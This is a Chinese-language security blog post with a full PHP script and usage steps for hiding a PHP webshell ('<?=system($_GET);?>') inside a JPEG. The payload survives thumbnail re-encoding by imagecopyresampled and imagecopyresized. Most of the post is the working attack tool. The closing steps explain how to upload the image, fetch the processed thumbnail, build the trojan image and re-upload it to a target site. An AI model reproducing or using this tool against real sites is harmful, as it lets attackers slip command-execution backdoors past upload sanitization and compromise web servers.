骑人淫技:突破php的imagecopyresampled 和imagecopyres

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用
PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算  详见:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

但是受限于  图像的尺寸 必须320×320 且必须是PNG格式

那JPG怎么办

神奇的老外 提出了列方法

<?php 
        /* 

        The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations 
        caused by PHP functions imagecopyresized() and imagecopyresampled(). 
        It is necessary that the size and quality of the initial image are the same as those of the processed 
        image. 

        1) Upload an arbitrary image via secured files upload script 
        2) Save the processed image and launch: 
        php jpg_payload.php <jpg_name.jpg> 

        In case of successful injection you will get a specially crafted image, which should be uploaded again. 

        Since the most straightforward injection method is used, the following problems can occur: 
        1) After the second processing the injected data may become partially corrupted. 
        2) The jpg_payload.php script outputs "Something's wrong". 
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another 
        initial image. 

        Sergey Bobrov @Black2Fan. 

        See also: 
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ 

        */ 

        $miniPayload = '<?=system($_GET);?>'; 

        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { 
        die('php-gd is not installed'); 
        } 
       
        if(!isset($argv[1])) { 
                die('php jpg_payload.php <jpg_name.jpg>'); 
        } 

        set_error_handler("custom_error_handler"); 

        for($pad = 0; $pad < 1024; $pad++) { 
                $nullbytePayloadSize = $pad; 
                $dis = new DataInputStream($argv[1]); 
                $outStream = file_get_contents($argv[1]); 
                $extraBytes = 0; 
                $correctImage = TRUE; 

                if($dis->readShort() != 0xFFD8) { 
                        die('Incorrect SOI marker'); 
                } 

                while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { 
                        $marker = $dis->readByte(); 
                        $size = $dis->readShort() - 2; 
                        $dis->skip($size); 
                        if($marker === 0xDA) { 
                                $startPos = $dis->seek(); 
                                $outStreamTmp = 
                                        substr($outStream, 0, $startPos) . 
                                        $miniPayload . 
                                        str_repeat("\0",$nullbytePayloadSize) . 
                                        substr($outStream, $startPos); 
                                checkImage('_'.$argv[1], $outStreamTmp, TRUE); 
                                if($extraBytes !== 0) { 
                                        while((!$dis->eof())) { 
                                                if($dis->readByte() === 0xFF) { 
                                                        if($dis->readByte !== 0x00) { 
                                                                break; 
                                                        } 
                                                } 
                                        } 
                                        $stopPos = $dis->seek() - 2; 
                                        $imageStreamSize = $stopPos - $startPos; 
                                        $outStream = 
                                                substr($outStream, 0, $startPos) . 
                                                $miniPayload . 
                                                substr( 
                                                        str_repeat("\0",$nullbytePayloadSize). 
                                                                substr($outStream, $startPos, $imageStreamSize), 
                                                        0, 
                                                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                                                substr($outStream, $stopPos); 
                                } elseif($correctImage) { 
                                        $outStream = $outStreamTmp; 
                                } else { 
                                        break; 
                                } 
                                if(checkImage('payload_'.$argv[1], $outStream)) { 
                                        die('Success!'); 
                                } else { 
                                        break; 
                                } 
                        } 
                } 
        } 
        unlink('payload_'.$argv[1]); 
        die('Something\'s wrong'); 

        function checkImage($filename, $data, $unlink = FALSE) { 
                global $correctImage; 
                file_put_contents($filename, $data); 
                $correctImage = TRUE; 
                imagecreatefromjpeg($filename); 
                if($unlink) 
                        unlink($filename); 
                return $correctImage; 
        } 

        function custom_error_handler($errno, $errstr, $errfile, $errline) { 
                global $extraBytes, $correctImage; 
                $correctImage = FALSE; 
                if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { 
                        if(isset($m[1])) { 
                                $extraBytes = (int)$m[1]; 
                        } 
                } 
        } 

        class DataInputStream { 
                private $binData; 
                private $order; 
                private $size; 

                public function __construct($filename, $order = false, $fromString = false) { 
                        $this->binData = ''; 
                        $this->order = $order; 
                        if(!$fromString) { 
                                if(!file_exists($filename) || !is_file($filename)) 
                                        die('File not exists ['.$filename.']'); 
                                $this->binData = file_get_contents($filename); 
                        } else { 
                                $this->binData = $filename; 
                        } 
                        $this->size = strlen($this->binData); 
                } 

                public function seek() { 
                        return ($this->size - strlen($this->binData)); 
                } 

                public function skip($skip) { 
                        $this->binData = substr($this->binData, $skip); 
                } 

                public function readByte() { 
                        if($this->eof()) { 
                                die('End Of File'); 
                        } 
                        $byte = substr($this->binData, 0, 1); 
                        $this->binData = substr($this->binData, 1); 
                        return ord($byte); 
                } 

                public function readShort() { 
                        if(strlen($this->binData) < 2) { 
                                die('End Of File'); 
                        } 
                        $short = substr($this->binData, 0, 2); 
                        $this->binData = substr($this->binData, 2); 
                        if($this->order) { 
                                $short = (ord($short[1]) << 8) + ord($short[0]); 
                        } else { 
                                $short = (ord($short[0]) << 8) + ord($short[1]); 
                        } 
                        return $short; 
                } 

                public function eof() { 
                        return !$this->binData||(strlen($this->binData) === 0); 
                } 
        } 
?>

 

http://pastebin.com/3cznqi8P
具体方法 时:
1.  你先要 上传你想要构造的图片马原片
2.  等网站生成完缩略图下载下来
3.  用上述脚本 生成带图片的 木马
4.  重新上传到网站     结束

这个也要看运气成分

 

作者:livers

Tags:

骑人淫技,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
骑人淫技:突破php的imagecopyresampled 和imagecopyres